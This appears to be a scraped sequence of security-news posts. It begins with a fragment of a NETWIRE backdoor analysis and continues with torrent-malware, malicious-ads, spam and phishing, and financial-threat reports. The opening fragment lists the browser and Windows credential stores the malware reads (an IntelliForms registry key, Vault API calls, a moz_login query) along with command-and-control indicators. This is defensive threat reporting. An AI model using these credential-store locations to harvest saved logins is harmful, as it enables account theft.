“Software\Microsoft\Internet Explorer\IntelliForms\Storage2”

“vaultcli.dll: VaultOpenVault,VaultCloseVault,VaultEnumerateItem,VaultGetItem,VaultFree”

“select *  from moz_login”

 

Stealing login details from browsers

 

A complete report on the NETWIRE backdoor family is available to customers who subscribe to the FireEye Intelligence portal.

Indicators of Compromise

Host-based indicators:

dac4ed7c1c56de7d74eb238c566637aa

Initial attack vector .vbs file

Network-based indicators:

178.239.21.]62:1919

kingshakes[.]linkpc[.]net

 

105.112.35[.]72:3575

homi[.]myddns[.]rocks

C2 domains of NETWIRE Trojan

FireEye Detection

FireEye detection names for the indicators in the attack:

Endpoint security

  • Exploit Guard: Blocks execution of wscript
  • IOC: POWERSHELL DOWNLOADER D (METHODOLOGY)
  • AV: Trojan.Agent.DRAI

Network Security

  • Backdoor.Androm

Email Security

  • Malicious.URL
  • Malware.Binary.vbs

Conclusion

Malware authors continue to use different "fileless" process execution techniques to reduce the number of indicators on an endpoint. The lack of visibility into .NET process execution combined with the flexibility of PowerShell makes this technique all the more effective.

FireEye Endpoint Security and the FireEye Network Security detect and block this attack at several stages of the attack chain.

Acknowledgement

We would like to thank Frederick House, Arvind Gowda, Nart Villeneuve and Nick Carr for their valuable feedback.

Torrent Risks: How to get infected through torrent with a good reputation

Experts at Z-Lab Yoroi/Cybaze have conducted an interesting analysis on the risks for users downloading films, games, and software through Torrent.

Digital media sharing is one of the most relevant phenomena since the advent of the internet. During the 80’s and 90’s, with the rapid growth the Internet, people around the world started sharing digital stuff protected by copyright, through particular communication protocols and programs such as FTP, IRC, etc.

At the time, only a few people had the capability to access to these illegal networks. Today the situation is quite different, it is very easy to share any kind of content through simplified file-sharing services making it easy to obtain copyrighted material and pirated copies of popular software.

Cybaze-Yoroi Z-Lab researchers conducted a study on the risks related to the use of the BitTorrent protocol to download movies, games or pirated software. The analysis shed the light on the risk faced by users while searching for movies, games, and software on popular BitTorrent trackers. The experts analyzed dozens of torrents and discovered that most of them are delivered in bundle with malware or Adware, exposing at risk of infection the average user with a few interactions.

In this analysis, researcher downloaded torrents belonging to 3 different categories of interest: Movies, Games and Software. They searched for 2 highly anticipated films : “The Avengers 4” and “Joker” for the “Movies” category, for the “Games” category they search for “Fortnite”, one of the most played videogame and, for the “Software” category they searched for some of the most requested software of this moment, “Nero Burning Rom”, “Adobe Photoshop Lightroom” and “Malwarebytes Premium”.

Experts discovered that most of the torrents contains well-known malware that are currently detected by most anti-viruses and, also, most of the malicious torrents have a good reputation in terms of seeders. In the BitTorrent terminology, seeders are …

torrent risks

Download the full White Paper

Torrem

The post Torrent Risks: How to get infected through torrent with a good reputation appeared first on Security Affairs.

Google Takes Down 2.3 Billion Ads, Almost 60 Million Phishing Scams

Google’s bad ads report for 2018 is out, and according to Director of Sustainable Ads Scott Spencer, 2.3 billion non-compliant ads were taken down for violating policies, almost 1 billion fewer than the 3.2 billion ads detected in 2017. Many represented malvertising and phishing scams for tech support, bail bonds, garage doors and ticket resellers, with phishing scams totaling 58.8 million.

To improve its lucrative ad business and put an end to the scams, malware and abusive content that have plaguing the company, Google’s team blocked bad ads on 1.5 million applications and 28 million pages. The credit for this achievement goes to the company’s newly introduced machine learning algorithm as well as some serious manual reviews.

On a monthly basis, Google took down 2 million non-compliant pages containing “dangerous and derogatory content,” and ads on 8,700 pages violated the company’s April 2017 publisher policy about “discrimination and intolerance.” Although the number of bad ads removed is nearly 1 billion lower than last year, Spencer writes the number of advertisers and publishers that don’t follow the rules has doubled to “1 million advertiser accounts and 734,000 publishers and app developers.”

Last year Google added “28 new advertiser policies and 20 new publisher policies to combat new threats and improve the ads experience online,” but now they’ve updated the policies to “address ads in unregulated or speculative financial products like binary options, cryptocurrency, foreign exchange markets and contracts for difference (or CFDs)” and gambling, Spencer explains.

How susceptible are hospital employees to phishing attacks?

Cybersecurity threats are a rising problem in society, especially for healthcare organizations. Successful attacks can jeopardize not only patient data but also patient care, leading to cancellations and disruptions in

The post How susceptible are hospital employees to phishing attacks? appeared first on The Cyber Security Place.

Smashing Security #119: Hijacked homes, porn passports, and ransomware regret

Smashing Security #119: Hijacked homes, porn passports, and ransomware regret

A $150 million mansion is hijacked online, Brits will soon have to scan their passport to watch internet porn, and are organisations right to pay up when hit by ransomware?

All this and much more is discussed in the latest edition of the award-winning “Smashing Security” podcast by computer security veterans Graham Cluley and Carole Theriault, joined this week by technology broadcaster David McClelland.

Spam and phishing in 2018

Numbers of the year

  • The share of spam in mail traffic was 52.48%, which is 4.15 p.p. less than in 2017.
  • The biggest source of spam this year was China (11.69%).
  • 74.15% of spam emails were less than 2 KB in size.
  • Malicious spam was detected most commonly with the Win32.CVE-2017-11882 verdict.
  • The Anti-Phishing system was triggered 482,465,211 times.
  • 18.32% of unique users encountered phishing.

Global events and spam

GDPR

In the first months of the year alone, we registered a great many emails in spam traffic connected in some way to the EU General Data Protection Regulation (GDPR). It was generally B2B spam — mostly invitations to paid seminars, webinars, and workshops promising to explain the ins and outs of the new regulation and its ramifications for business.

During this period, there was an upturn in legitimate mailings too. Following the requirements of the regulation, companies sent out notifications on the transition to the GDPR policy requesting user consent to store and process personal data. Unsurprisingly, scammers tried to take advantage. Seeking to gain access to the personal data of clients of well-known companies, they sent out GDPR-related phishing emails prompting to update account information. Users who followed the link in the message and entered the required data immediately had it stolen by the fraudsters. It is worth noting that cybercriminals were interested largely in the data of clients of financial organizations and companies providing IT services.


Phishing emails exploiting the GDPR topic

2018 FIFA World Cup

The FIFA World Cup was one of the main media events of the year, reaching far beyond the world of sport. Scammers exploited the World Cup topic using a variety of classic deception methods based on social engineering. Cybercriminals created fake FIFA partner websites to gain access to victims’ bank accounts, carried out targeted attacks, and set up fake login pages for fifa.com accounts.


Examples of messages with World Cup ticket and trip giveaways

New iPhone launch

As is now customary, Apple’s unveiling of its latest device caused a spike in spam sent, supposedly, from Chinese companies offering accessories and replica gadgets. Such messages redirect the recipient to newly created, generic online stores, which willingly accept payments, but are not so great when it comes to dispatching goods.

The release coincided with a slight rise in the number of phishing messages exploiting the Apple brand (and its services), and emails with malicious attachments:

Malware and the corporate sector

In 2018, the number of malicious messages in spam was 1.2 times less than in 2017; Mail Anti-Virus was triggered a total of 120,310,656 times among Kaspersky Lab clients.

Number of Mail Anti-Virus triggerings among Kaspersky Lab clients in 2018 (download)

2018 saw a continuation of the trend for attention to detail in email presentation. Cybercriminals imitated actual business correspondence using the companies’ real details, including signatures and logos. To bypass security solutions (and convince users that files were safe), ISO, IQY, PIF, and PUB attachments were used, all non-typical formats for spam.

Credit organizations remain one of the most popular targets, and this trend is likely to continue in 2019. We also expect an increase in the number of attacks on the corporate sector as a whole.

New distribution channels

We have mentioned before that the distribution of phishing and other fraudulent content has gone beyond the scope of mailings. Scammers are not only testing new means of delivery, but getting victims themselves to distribute malicious content. Some of this year’s most massive attacks we registered in messengers and social networks.

“Self-propagating” phishing messages are similar to long-forgotten chain letters. They refer to non-existent giveaways or free lucrative offers, with one of the conditions for participation being to forward the message to friends or publish it on social media. At the start of the year, scammers used free air ticket lotteries as a bait, before switching to mailings supposedly from popular retail chains, restaurants, stores, and coffee bars. WhatsApp was the most common tool for distributing such messages.

Cryptocurrencies and spam

In 2018, far from waning, spammers’ interest in cryptocurrencies rose. Among the spam messages were fraudulent ones attempting to coerce potential victims into transferring money to cryptocurrency wallets.

One of the most popular kinds of fraud seen last year was “sextortion.” This type of ransom scam is based on the claim to be in possession of private information of an intimate nature. To avoid disclosure, the victim is told to transfer money to the cryptocurrency wallet specified in the message, which often looks very convincing and uses the victim’s actual personal data: name, passwords, phone numbers, etc. Against the backdrop of endless news reports about personal data leaks, such threats, backed up by real details, cause victims to panic and give in to the cybercriminals’ demands. Last year, the ransom sum ranged from a few hundred to several thousand dollars.

Initially, the mailings were aimed at an English-speaking audience, but at the end of Q3 we registered a wave of messages in other languages: German, Italian, Arabic, Japanese, French, Greek, and others.

Neither did the scammers forget about other fraud methods. Over the year, we identified fraudulent mailings supposedly from large charitable organizations asking to help children by purchasing some data etc. All these schemes had a common thread: The money transfer was requested in cryptocurrency. It should be noted that such messages were very few compared with the mailings described above.

In 2019, spammers will continue to exploit the cryptocurrency topic. We expect to see more fraudulent mailings aimed at both extracting cryptocurrency and gaining access to personal accounts with various cryptocurrency services.

Phishing

Cryptocurrency

Cryptocurrency remains one of the most common phishing topics. In 2018, our Anti-Phishing system prevented 410,786 attempts to redirect users to phishing sites imitating popular cryptocurrency wallets, exchanges, and platforms. Fraudsters are actively creating fake login pages for cryptocurrency services in the hope of getting user credentials.

Another hot topic last year was fake ICOs. Scammers invited victims to invest in various initial coin offerings not only by email, but through social media posts as well. There was something for everyone: One of the scams, for example, targeted buzcoin, a cryptocurrency named after Russian singer Olga Buzova. The cybercrooks managed to get hold of the project mailing list and send fake presale invitations to subscribers the day before the start of the ICO. Before the bona fide organizers had time to sneeze, the attackers had scooped around $15,000.

But it was the blockchain project of Pavel Durov, TON, which had the dubious honor of most fakes back in early 2018. The cryptocurrency boom and rumors in late 2017 about an ICO from the creator of Telegram provided fertile ground. Many people believed the scammers and, despite warnings from Pavel himself on social media, transferred money to them.

Lotteries and surveys

Another way to nudge victims into transferring money is via the promise of a guaranteed lottery win or a reward for taking part in a poll. In 2018, our security solutions blocked 3,200,180 attempted redirects to fraudulent websites offering lotteries or surveys.

To take part in the draw, users are asked to make a contribution: the more you give, the more you (supposedly) get. Survey scams work in a similar way. The victim is asked to transfer a sum of money to pay for “administrative costs,” after which the reward will be transferred, or so it is promised.

Universities

Phishers hunt not only for money, but also for knowledge: Over the past year, we registered phishing attacks against 131 universities in 16 countries. More than half (83) were in the US, followed by Britain (21), and Australia and Canada (7 each). One high-profile incident was the theft of millions of documents (including nuclear energy research) from several British universities.

Taxes

In Q1 (the last quarter of the financial year in many countries), we observed a large number of phishing pages imitating the websites of HMRC (UK), the IRS (US), and other countries’ tax authorities. Cybercriminals tried to finagle personal data, answers to security questions, bank account information, and other data from users. Some fake tax service sites distributed malware.


Fake tax service websites

HTTPS

As we wrote a year earlier, the number of phishing pages on domains with SSL certificates has increased. Ironically, this was facilitated by the widespread adoption of HTTPS, since pages with a certificate (and padlock) are trusted far more. But getting hold of a certificate is not hard, especially for competent cybercriminals. The problem has taken on such dimensions that since September 2018 with the latest version of Chrome, the browser has stopped highlighting HTTPS sites with a green padlock in the address bar and marking them as “Secure.” Instead, the “Not secure” label is now assigned to sites without HTTPS.

Sales

Every year, November sees the start of the sales season. First up is World Shopping Day, followed by Black Friday. Cybercriminals prepare for such events in advance and commence their mass attacks long before the sales start. According to our statistics, the number of attempts to redirect users to fraudulent websites exploiting the sales topic starts to rise at the end of October.

Fraudsters use standard methods to extract personal data and money from victims, including fake websites mimicking popular online stores with huge discounts on expensive goods.

Statistics: spam

Proportion of spam in email traffic

The share of spam in email traffic in 2018 decreased by 4.15 p.p. to 52.48%.

Proportion of spam in global email traffic, 2018 (download)

The lowest share (47.70%) was recorded in April 2018. The highest (57.26%) belonged to December.

Sources of spam by country

In 2018, China (11.69%) led the list of spamming countries, swapping places with the US and consigning the former leader to second place with 9.04%. Third position went to Germany (7.17%), which climbed into the Top 3 from sixth.

Vietnam, which ranked third last year, fell to fourth place (6.09%). It was followed by Brazil (4.87%), India (4.77%), and Russia (4.29%).

In 8th place, as in 2017, came France (3.34%), while Iran and Italy departed the Top 10. They were replaced by newcomers Spain, which rose from 16th to 9th place (2.20%, +0.72 p.p.), and Britain (2.18%, +0.59 p.p.).

Sources of spam by country, 2018 (download)

Spam email size

In 2018, the share of very small (up to 2 KB) messages increased significantly. Despite quarterly decline, the annual figure came in at 74.15%, up 30.75 p.p. against the previous reporting period. The proportion of 2–5 KB messages also increased (10.64%, +5.56 p.p.).

Spam emails by size, 2018 (download)

The volume of larger spam dropped significantly against 2017. The share of messages sized 5–10 KB (7.37%) decreased by 1.77 p.p. and 10–20 KB (3.66%) by 12.6 p.p. The share of spam messages sized 20–50 KB (2.82%) saw the biggest drop, down 18.41 p.p.

Malicious attachments in email

Malware families

Top 10 malware families in 2018 (download)

In 2018, the most widely distributed malicious objects in email, assigned the Exploit.Win32.CVE-2017-11882 verdict, exploited a Microsoft Office vulnerability for executing arbitrary code without the user’s knowledge.

In second place was the Backdoor.Win32.Androm bot, whose functionality depends on additional modules downloaded at the command of the C&C servers. It was most often used to download malware.

The Trojan-PSW.Win32.Fareit family moved up from fifth to third place. Its main task is to steal data (cookies, passwords for various FTP, mail, and other services). The harvested information is sent to the cybercriminals’ server. Some members of the family are able to download and run other malware.

The Worm.Win32.WBVB family, which includes executable files written in Visual Basic 6 (in both P-code and Native mode) and are not trusted in KSN, remained in fourth place.

Fifth place went to the Backdoor.Java.Qrat family — cross-platform multi-functional backdoor written in Java and sold in the Darknet as a Malware-as-a-Service (MaaS) package. It is generally distributed by email in JAR attachments.

Trojan-Downloader.MSOffice.SLoad, a DOC/DOCX document containing a script that can be executed in MS Word, took sixth place. It is generally used to download and install ransomware on user computers.

The spyware Trojan-Spy.Win32.Noon ranked seventh.

The malware Trojan.PDF.Badur, which consists of a PDF document containing a link to a potentially dangerous website, dropped one place to eighth.

Ninth place was taken by the Trojan.BAT.Obfus family of malicious objects — obfuscated BAT files for running malware and changing OS security settings.

In tenth place, as in the previous year, was the family of Trojan downloaders Trojan.Win32.VBKrypt.

Countries targeted by malicious mailshots

As in previous years, first place in 2018 went to Germany. Its share accounted for 11.51% of all attacks. Second place was taken by Russia (7.21%), and Britain (5.76%) picked up bronze.

Countries targeted by malicious mailshots, 2018 (download)

The next three, separated by a whisker, were Italy (5.23%), Brazil (5.10%), and Vietnam (5.09%). Trailing Vietnam by 1.35 p.p. in seventh was the UAE (3.74%). India (3.15%), Spain (2.51%), and Taiwan (2.44%) rounded off the Top 10.

Statistics: phishing

In 2018, the Anti-Phishing system was triggered 482,465,211 times on Kaspersky Lab user computers as a result of phishing redirection attempts (236,233,566 more than in 2017). In total, 18.32% of our users were attacked.

Organizations under attack

The rating of organizations targeted by phishing attacks is based on the triggering of the heuristic component in the Anti-Phishing system on user computers. This component detects all instances when the user tries to follow a link in an email or on the Internet to a phishing page in the event that such links have yet to be added to Kaspersky Lab’s databases.

Rating of categories of organizations attacked by phishers

In 2018, the global Internet portals accounted for the lion’s share of heuristic component triggers. Its slice increased by 11.23 p.p. to 24.72% against the previous year. In second place came the banking sector (21.70%), down 5.3 p.p. Payment systems (14.02%) in 2018 ranked third.

Distribution of organizations subject to phishing attacks by category, 2018. (download)

Top 3 organizations under attack from phishers

This rating is made of organizations whose names were most frequently used by phishers (according to the heuristic statistics for triggers on user computers). It was the same lineup as in 2017, but rearranged slightly, with Microsoft in first place.

Microsoft 6.86%
Facebook 6.37%
PayPal 3.23%

Attack geography

Countries by share of attacked users

Brazil (28.28%) remains out in front by percentage of attacked unique users out of the total number of users in the country.

Percentage of users on whose computers the Anti-Phishing system was triggered out of all Kaspersky Lab users in the country, 2018 (download)

Top 10 countries by share of attacked users

Country %
Brazil 28.28
Portugal 22.63
Australia 20.72
Algeria 20.46
Réunion 20.39
Guatemala 20.34
Chile 20.09
Spain 20.05
Venezuela 19.89
Russia 19.76

Top 10 countries by share of attacked users

Despite a slight drop of 0.74 p.p., Brazil (28.28%) remains top by number of attacked users. Meanwhile, Portugal (22.63%) moved up to second place (+5.87 p.p.), displacing Australia (20.72%, –1.79 p.p.).

Conclusion

2018 showed that cybercriminals continue to keep a close eye on global events and use them to achieve their goals. We have seen a steady increase in phishing attacks on cryptocurrency-related resources, and expect new scams to appear in 2019. Despite the fall in value and the lean times for the cryptocurrency market as a whole, phishers and spammers will try to squeeze everything they can out of this topic.

The past year also demonstrated that spammers and scammers will continue to exploit annually occurring events — new smartphone launches, sales seasons, tax deadlines/rebates, and the like.

There is also a trend toward the transition to new channels of content distribution: Cybercriminals in 2018 used new methods of communication with their “audience,” including instant messengers and social networks, releasing wave after wave of self-propagating malicious messages. Hand in hand with this, as illustrated by the attack on universities, fraudsters are seeking not only new channels, but new targets as well.

Financial Cyberthreats in 2018

Introduction and Key Findings

The world of finance has been a great source of income cybercriminals across the world due to an obvious reason – money. While governments and organizations have been investing in new methods to protect financial services, malicious users have been investing in how to bypass them. This has fueled many changes in how online financial services and payment systems, large banks and POS terminals are being used.

The past year has seen a wide range of changes in the financial cyberthreats landscape, with new infiltration techniques, attack vectors and extended geography. But perhaps the most interesting thing to have happened is the changes in how people are victimized. With block chain and cryptocurrency now becoming popular, many new means of payment emerged on both on the white and black markets – attracting unwanted criminal attention.

Cryptocurrency became the hottest topic in 2018. Definitely being the story of the year, it stole the headlines from the threat of ransomware, turning the eyes of the cybersecurity community to a new danger. Wherever users were eager to pay for something with cryptocurrency – criminals were there. Threats were delivered in two ways – enriching malware with mining capacities to capitalize without noise and attacks on cryptocurrency infrastructure (wallets, exchanges, etc.). Even major APT actors like Roaming Mantis tried to capitalize, not to mention malicious software like PowerGhost; basically a cryptocurrency mining multi tool. As it was also pointed out, Lazarus, one of the most active financial predators in 2018, gradually expanded its list of targets. The latter now includes banks, fin-tech companies, PoS terminals, ATMs, as well as crypto-exchanges.

In the summer, we also covered an interesting case that proves the above – Lazarus was found to be hitting a cryptocurrency exchange with a fake installer and macOS malware. In this case, criminals created special software that looked legitimate and carried out legitimate functions. However, the program also uploaded a malicious update that turned out to be a backdoor. This is a new type of attack, which infects its targets via the supply chain; one of the key scenarios of the past year. This became one of the most creative attacks seen in 2018.

However, several months after that, the cybersecurity landscape brought an even bigger surprise to the community, yet again pointing out that even traditional, and experienced, financial enterprises could be endangered. In December, Kaspersky Lab revealed the DarkVishnya operation: a new series of unprecedented cyber-robberies targeting financial organizations in Eastern Europe. Incident responses, provided by our experts, discovered that in each case the corporate network was breached through an unknown device, controlled by the attackers, which had been smuggled into a company building and connected to the network. At least eight banks in the region have been attacked in this way, with estimated losses running into tens of millions of dollars. The conclusion here is simple – even when investing into cybersecurity, you may never know what how a cybercriminal will attack you. We all should be twice as vigilant.

This are a worrisome sign. While banks are experienced and have learnt how to improve their defenses, young fin-tech companies and crypto-exchanges could face a higher risk, due to the infancy of their security systems. Also, new unprecedented attack methods should be a warning for traditional financial organizations to be on guard.

Another cause for concern in that criminals decided to not only focus their efforts on financial services, but also on the financial departments of industrial companies, where payments of hundreds of thousands of dollars would not cause much suspicion. In the summer of 2018, Kaspersky Lab experts revealed a new wave of financial spear-phishing emails disguised as legitimate procurement and accounting letters that hit at least 400 industrial organizations in an attempt to earn money for cybercriminals.

We should also not forget about ATMs and treat its security seriously as within the last year, Kaspersky Lab specialists discovered six new families, meaning that there are now more than 20 of this kind. The greatest damage associated with attacks on ATMs was caused by infections from internal banking networks, such as FASTCash and ATMJackPot, which allowed attackers to reach thousands of ATMs. Apart from that, 2018 gave birth to a new toolkit for stealing money directly from such machines – we dubbed it KoffeyMaker.

Wrapping up on big businesses, the industry also witnessed good news – in 2018, police arrested a number of well-known cybercrime group members responsible for Carbanak/Cobalt and Fin7, among others. These groups have been involved in attacks on dozens, if not hundreds of companies and financial institutions around the world.

Going one level lower – from big organizations to small and medium enterprises – there were also a lot of attacks on organizations that use banking systems. Kaspersky Lab’s machine learning-based behavioral analysis system detected several waves of malicious activity related to the spread of the Buhtrap banking Trojan when attackers embedded their code in popular news sites and forums.

Moving down one more step – from SMEs to individual users – we can say that 2018 didn’t give the latter much respite from financial threats. Infamous mobile bankers are still there, hunting for money. Considering the above mentioned changes in the landscape, it is of no surprise that they expand the capacities, often combining various functions – like Rotexy that across the years have evolved to being banker and ransomware simultaneously. Some of them add mining capacities to ensure they make a profit. Other actors invested in new ways to compromise users – for instance, in 2018 Kaspersky Lab experts detected quite a rare Chrome extension designed to steal credentials.

The presented report continues the series of Kaspersky Lab reports (see here and here) that provide an overview of how the financial threat landscape has evolved over the years. It covers the common phishing threats that users encounter, along with Windows-based and Android-based financial malware.

The key findings of the report are:

Phishing:

  • In 2018, the share of financial phishing decreased from 53.8% to 44.7% of all phishing detections, still accounting for almost a half of overall detections.
  • Around one in five attempts to load a phishing page blocked by Kaspersky Lab products is related to banking phishing.
  • The share of phishing related attacks to payment systems and online shops accounted for almost 14% and 8.9% respectively in 2018. This is slightly less (single percentage points) than in 2017.
  • The share of financial phishing encountered by Mac users slightly grew, accounting for 57.6%.

Banking malware:

  • In 2018, the number of users attacked with banking Trojans was 889,452 – an increase of 15.9% in comparison with 767,072 2017.
  • 24.1% of users attacked with banking malware were corporate users.
  • Users in Russia, Germany, India, Vietnam, Italy, US and China were the most often attacked by banking malware.
  • Zbot and Gozi are still the kings when comes to most widespread banking malware family (over 26% and 20% of attacked users), followed by SpyEye (15.6%).

Android banking malware:

  • In 2018, the number of users that encountered Android banking malware more than tripled to 1,799,891 worldwide.
  • Just three banking malware families accounted for attacks on the vast majority of users (around 85%).
  • Russia, South Africa, and the United States were the countries with the highest percentage of users attacked by Android banking malware.

Financial Phishing

Financial phishing, one of the most typical ways for criminals to make money, doesn’t require a lot of investment to be potentially profitable. If successful, criminals receive credentials that can either be used to take the money or can be sold for a good price.

This combination of technical simplicity and effectiveness makes this type of malicious activity attractive to criminals. As Kaspersky Lab’s telemetry systems show, this type of activity accounts for around half of all phishing attacks over the past few years.

Fig. 1: The percentage of financial phishing attacks (from overall phishing attacks) detected by Kaspersky Lab in 2015-2018

In 2018, Kaspersky Lab’s anti-phishing technologies detected 482,465,211 attempts to visit different kinds of phishing pages. Of those, 44.7% of heuristic detections were attempts to visit a financial phishing page – almost 10% less than the share of phishing detections registered in 2017 (when it was 53.8%, the highest percentage of financial phishing ever registered by Kaspersky Lab).

This was mainly due to the increase in other phishing attacks categories. But first, let’s have a closer look on financial categories.

Kaspersky Lab categorization considers several types of phishing pages as “financial” – banks, well known payment brands such as PayPal, Visa, MasterCard, American Express and others, and internet shops and auction sites like Amazon, Apple store, Steam, E-bay and others. In 2018 all of them experienced slight relief: the share of phishing attacks against banks, payment systems and online shops decreased by 5.3, 1.8, and around 2 percentage points respectively.

Financial phishing attacks took 2nd, 3rd and 4th positions in the overall ranking:

Fig. 2: The distribution of different types of financial phishing detected by Kaspersky Lab in 2018

While in 2017 for the first time in our observations, payment systems and online shops hit the top three in all categories of phishing detections, 2018 became the year of going back to normal with global online portals being in first position. However, the presented chart shows that almost every second phishing attack was financially-related.

We believe that this change happened due high media attention to targets like Facebook amid various scandals across the year. If we have a look on the global internet portal category, it fell from second place in 2016 with 24.1% to fourth place in 2017 with 10.9%. In 2018 it restored its position, accounting for over 24%.

Fig. 3: The percentage of global internet portal phishing detected by Kaspersky Lab in 2016-2018

At the same time, the victimology has not experienced any change – top transnational banks, popular payment systems and internet shops and auction sites are still the most appealing targets for cybercriminals.

Financial phishing on Mac

MacOS has been continuously considered relatively safe platform when it comes to cybersecurity due to small number of malware families that targets it. However, phishing is OS-agnostic criminal activity – it is all about social engineering. Moreover, according to Kaspersky Lab’s statistics, MacOS users often face phishing threats – if not with the same frequency as other users.

In 2016, 31.4% of phishing attacks against Mac-users were aimed at stealing financial data. This is almost half that seen in 2017, when 55.6% of financial attacks blocked by Kaspersky Lab were financially-themed. The past year also indicated slightly growth with overall share at the level of 57.6%, meaning that the threat is not fading.

Overall, in 2017 the split looked like this:

Fig. 4: The distribution of different types of financial phishing detected by Kaspersky Lab on Mac in 2017

One year later, the ‘Other’ category slightly fell, leading to the overall growth of financially related attacks.

Fig. 5: The distribution of different types of financial phishing detected by Kaspersky Lab on Mac in 2018

All in all, our data shows that the financial share of phishing attacks on Macs is also quite solid – as seen for Windows. Let’s have a closer look at both categories.

Mac vs Windows

In 2017, we found out an interesting twist when Apple became the most frequently used brands in the online shop category both in MacOS and Windows statistics, pushing Amazon down to the second place in the latter platform. Even more interesting is that in 2018 Apple has kept its position in Windows statistics, but Amazon went back to leading MacOS statistics for the first time since we started tracking this activity.

Mac Windows
Amazon.com: Online Shopping Apple
Apple eBay
Alibaba Group Amazon.com: Online Shopping
eBay MercadoLibre
Americanas Steam
groupon Alibaba Group
Bell Canada Americanas
Shopify Netflix Inc
Hostway Wal-Mart Stores, Inc.

Fig. 6: The most frequently used brands in ‘online shop’ financial phishing schemes

When it comes to attacks users of payment systems, the situation is as follows:

Mac Windows
PayPal Visa Inc.
Visa Inc. PayPal
MasterCard International American Express
American Express MasterCard International
Skrill Ltd. Cielo S.A.
adyen payment system qiwi.ru
Authorize.Net alipay
qiwi.ru Skrill Ltd.
Perfect Money Ripple

Fig.7: The most frequently used brands in ‘payment systems’ financial phishing schemes

Overall, the situation is more or less the same apart from the fact that Paypal overrun Mastercard and took the first ranking in MacOS statistics.

The tables above can serve as advisory lists for the users of the corresponding systems: they illustrate that criminals will use these well-known names in an attempt to illegally obtain user payment cards, online banking and payment system credentials.

Phishing campaign themes

Apart from the traditional campaigns that will be covered below, there was one distinctive feature in phishing disguises in comparison with 2016 and 2017 – entertainment. While it is not fully financially related, criminals still could steal users’ credentials or account for sale or personal use. The list of topics is no longer limited to fairly old copies of online banking, payment systems or internet shop web pages.

Here is a closer look on how the most targeted sectors were movies streaming services.

Fig. 8: A phishing page under the guise of streaming service

Digital gaming platforms.

Fig. 9: A phishing page under the guise of gaming platform

Typical commercial and payment brands were also targeted –usually urging a victim to enter credentials as soon as possible.

Fig. 10: A phishing message on behalf of payment brand

Fig. 11: A phishing message on behalf of payment brand

Of course, by clicking the link or entering the credentials, a user would not get access to their account – they would just pass their important personal information on to fraudsters.

This is one of the most common tricks to intimidate a victim – the threat of blocking or breaking in to an account (“your account has been suspended”).

Don’t show your credit card data to strangers

Due to the human nature and social engineering, phishing has been in the cybercriminals’ arsenal for years, being a major tool not only for monetization, but also for major APT actors as a method to initially compromise a targeted system.

That said, always stay vigilant. Double check the legitimacy of the website while paying online. Double check the legitimacy of emails, especially if they urge you to do something – like change your password.

If you can’t be sure of the above – don’t click the link.

And don’t forget to use a proven security solution with behavior-based anti-phishing technologies. This will make it possible to identify even the most recent phishing scams that haven’t yet been added to anti-phishing databases.

Banking malware

When discussing financial malware in this paper – for clarity – we mean the typical banking Trojans, designed to steal the credentials used to access online banking or payment system accounts and to intercept one-time passwords.

Across 2016, there was a steady growth in the number of users attacked with any kind of financial malware – after falls in 2014 and 2015. 2017 and first half of 2018 has seen falls once again. In 2017, the decrease returned with the number of attacked users falling to 767,072 from 1,088,933 users worldwide in 2016 – almost a 30% decline.

However, a sharp increase in May to November 2018 has changed the landscape, rebalancing the decline and overall growing to 889,452 by 15.95% in comparison with the previous year. This is the first incident of year-to-year growth since 2016. This happened due to explosive growth in RTM banker activities that would be explored bellow.

Fig. 12: The dynamic change in the number of users attacked with banking malware 2016-2018

The geography of attacked users

As shown in the charts below, more than half of all users attacked with banking malware in 2017 and 2018 were located in only ten countries. In 2017, the leader was Germany, followed by Russia and China.

Fig. 13: The geographic distribution of users attacked with banking malware in 2017

Here is what happened in 2018:

Fig. 14: The geographic distribution of users attacked with banking malware in 2018

For the last year, Russia has outrun Germany. India did the same to China, closing the top three ranking. The latter at the same time dropped to the seventh position. Overall, picture looks more or less stable with the leader occupied about one out of five users, while the ‘Others’ category accounts for around 40% of the share.

The type of users attacked

2017 has shown a slight growth of this sector, confirming our hypothesis that criminals are shifting to targeted attacks on business – despite the overall fall of banking malware detection, the corporate users’ share is still showing a steady rise.

Fig. 15: The distribution of attacked users by type in 2017

This is alarming, as we see that for the last three years in a row, almost every fifth banking malware attack was focused on the corporate sector. And the share is growing. The reason behind this is clear – while attacks on consumers will only give a criminal access to banking or payment system accounts, successful hits on employees will also compromise a company’s financial resources.

2018 has once again proven this:

Fig. 16: The distribution of attacked users by type in 2018

The share of corporate users has grown by over 4 percentage points.

The main actors and developments

The banking malware landscape has been continuously occupied by several major players. In 2017, Zbot was the leader, actively challenged by Gozi.

Fig. 17: The distribution of the most widespread banking malware families in 2017

The latter increased its share by more than 10 percentage points, while Zbot decreased its own from more than 44% to 32.9%.

One more particularly interesting thing about 2017 was that the share of the ‘others’ category, which more than doubled, indicating that the financial threat landscape is becoming more and more diverse. That said, while the proportion of leaders was reducing, smaller players were becoming more active.

Fig. 18: The distribution of the most widespread banking malware families in 2018

2018 saw a trend in the major players decreasing their attacks – Zbot fell to 26.4% and Gozi to a little bit over 20%. At the same time, ‘other’ category also reduced. The landscape is obviously stabilizing with “middle-class” families strengthening their positions.

This is very inconvenient for the security research community as it is much easier to track several big players than many attackers that are small and flexible in their tactics.

Of particular interest was the RTM banking Trojan, whose explosive growth pumped up the figures for 2018. Kaspersky Lab has warned about this family when there was a surge in its activity with the overall number of users attacked in 2018 exceeding 130,000 – an increase from as few as 2,376 attacked users in 2017.

The pace of attacks appears to be continuing into 2019, with more than 30,000 users attacked during the first month and a half of the year, making RTM one of the most active banking Trojans on the threat landscape.

What’s interesting, the Trojan targets not financial organizations per se but rather people responsible for financial accounting in small and medium-sized businesses, with a particular focus on the IT and legal sectors. This makes RTM attacks part of a general trend where cybercriminals are spreading their activities from financial organizations, pulling their attention towards the private sector where entities in general invest less in security solutions. So far, the Trojan has hit mostly companies based in Russia. But there were multiple cases in the industry when successful cyber threats were first used in Russia and later went international. RTM banking Trojan can easily become yet another example of the same development cycle.

Kaspersky Lab estimates that during the course of two years, the attackers may have conducted multiple illegal transactions, up to a million rubles (the equivalent of $15,104) each.

That is why we urge organizations that can become potential targets of this malware to take preventative measures and make sure their security products detect and block this threat.

We also recommend that users be cautious when conducting financial operations online from PCs in general. Don’t underestimate the professionalism of modern cybercriminals by leaving your computer unprotected.

Mobile Banking Malware

